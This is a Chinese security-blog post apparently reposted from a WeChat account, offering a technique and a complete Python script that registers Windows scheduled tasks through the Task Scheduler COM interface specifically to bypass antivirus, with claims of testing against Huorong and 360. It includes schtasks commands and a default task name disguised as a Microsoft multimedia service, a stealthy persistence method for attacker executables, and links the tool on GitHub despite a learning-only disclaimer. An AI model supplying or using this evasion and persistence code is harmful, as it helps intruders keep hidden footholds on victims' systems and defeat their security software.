申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把 明暗安全
设为星标,否则可能就看不到啦!
1.漏洞背景
计划任务的添加,一般来说为
schtasks /create /ru system /tn “MicrosoftWindowsMultimediaSystemMediaService” /sc MINUTE /mo 50 /tr “C:Windowssystem.exe” /st 16:22 /f (创建一个名为MicrosoftWindowsMultimediaSystemMediaService, 16:22开始执行,每50分钟执行一次)
SCHTASKS /Run /TN “MicrosoftWindowsMultimediaSystemMediaService” /f (启动计划任务)
schtasks /delete /tn “MicrosoftWindowsMultimediaSystemSoundsService” /f(删除计划任务)
然而,有存在杀软的情况下,添加计划任务是被禁止的。
通过fuzz,发现powershell添加杀软的方式被彻底堵死了(个人尝试)
分析:
这个Python脚本使用了win32com.client库来与Windows Task Scheduler(任务计划程序)进行交互。通过这个库,脚本能够调用Windows的COM(组件对象模型)接口来创建、配置和管理计划任务。具体来说,它调用了以下Windows API:
Task Scheduler COM接口:
win32com.client.Dispatch("Schedule.Service"): 这行代码创建了一个TaskService对象,它是Task Scheduler的COM接口的一部分。通过这个对象,脚本可以访问任务计划程序的功能。
任务创建和配置:
taskserver.NewTask(0): 这个方法用于创建一个新的任务定义(TaskDefinition对象)。这个对象包含了任务的所有配置信息,如触发器、操作、设置等。
taskdefinition.Triggers.Create(trigger_type): 这行代码用于创建一个新的触发器,它定义了任务何时运行。trigger_type参数决定了触发器的类型(如每日、每小时或每分钟)。
taskdefinition.Actions.Create(ActionTypeExecutable): 这个方法用于创建一个新的操作,指定任务执行时要运行的程序或脚本。
任务注册:
folder.RegisterTaskDefinition(name, taskdefinition, create_or_update_task, "Local Service", None, 5): 这行代码用于注册(或更新)一个任务。它将任务定义与一个名称相关联,并在任务计划程序中进行设置。
通过这些API调用,脚本能够在Windows环境中创建和配置计划任务。这些操作都是通过Windows Task Scheduler的COM接口完成的,这是一个用于编程方式管理任务计划程序的标准Windows API。
免杀,可以执行。
github:https://github.com/shanxigetanxiaochou/addjihuarenwu
自测过国内全家桶,x绒,3x0
import
win32com.client
import
argparse
from
datetime
import
datetime, timedelta
import
getpass
def
regtask
(patha, name, time)
:
try
:
TriggerTypeDaily =
2
TriggerTypeHourly =
4
TriggerTypeMinutely =
6
ActionTypeExecutable =
0
# 创建 TaskService 对象
taskserver = win32com.client.Dispatch(
"Schedule.Service"
)
taskserver.Connect()
# 获取任务文件夹
folder = taskserver.GetFolder(
"\"
)
# 创建任务定义
taskdefinition = taskserver.NewTask(
0
)
# 设置任务的描述和作者
regInfo = taskdefinition.RegistrationInfo
regInfo.Description =
"任务将执行"
regInfo.Author = getpass.getuser()
# 设置任务计划
settings = taskdefinition.Settings
settings.StartWhenAvailable =
True
# 根据 --time 参数设置触发器类型
if
time:
if
time.startswith(
"hour/"
):
interval = int(time.split(
"/"
)[
1
])
trigger_type = TriggerTypeHourly
elif
time.startswith(
"minute/"
):
interval = int(time.split(
"/"
)[
1
])
trigger_type = TriggerTypeMinutely
else
:
trigger_type = TriggerTypeDaily
interval =
1
else
:
trigger_type = TriggerTypeDaily
interval =
1
# 创建触发器
triggers = taskdefinition.Triggers
trigger = triggers.Create(trigger_type)
start_time = datetime.now() + timedelta(minutes=
1
)
trigger.StartBoundary = start_time.strftime(
"%Y-%m-%dT%H:%M:%S"
)
trigger.Id =
"CustomTrigger"
trigger.Repetition.Interval =
f'PT
{interval}
M'
# 创建任务执行操作
action = taskdefinition.Actions.Create(ActionTypeExecutable)
action.Path = patha
# 设置默认任务名称
if
not
name:
name =
"Microsoft\Windows\Multimedia\SystemMediaService"
# 注册任务
create_or_update_task =
6
folder.RegisterTaskDefinition(name, taskdefinition, create_or_update_task,
"Local Service"
,
None
,
5
)
print(
"计划任务创建完成"
)
except
Exception
as
e:
print(
f"出现异常:
{str(e)}
"
)
print(
"请使用 -h 或 --help 检查参数。"
)
def
parse_args
()
:
parser = argparse.ArgumentParser(description=
"创建一个计划任务"
)
parser.add_argument(
'--addresses'
, help=
"可执行文件(exe)的绝对路径(必选)"
)
# parser.add_argument('--users', help="任务的用户名(必选)")
parser.add_argument(
'--name'
, help=
"任务名称(可选),默认为Microsoft\Windows\Multimedia\SystemMediaService"
)
parser.add_argument(
'--time'
, help=
"任务触发时间,默认为执行完本工具后一分钟运行一次。(可选)(例如,hour/1 或 minute/10)字面意思,自启动时间"
)
args = parser.parse_args()
return
args
if
__name__ ==
'__main__'
:
args = parse_args()
# 如果未指定 --users 参数,使用当前用户的用户名
regtask(args.addresses, args.name, args.time)
原文始发于微信公众号(F12sec):免杀 | 使用技巧绕过杀软添加计划任务。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论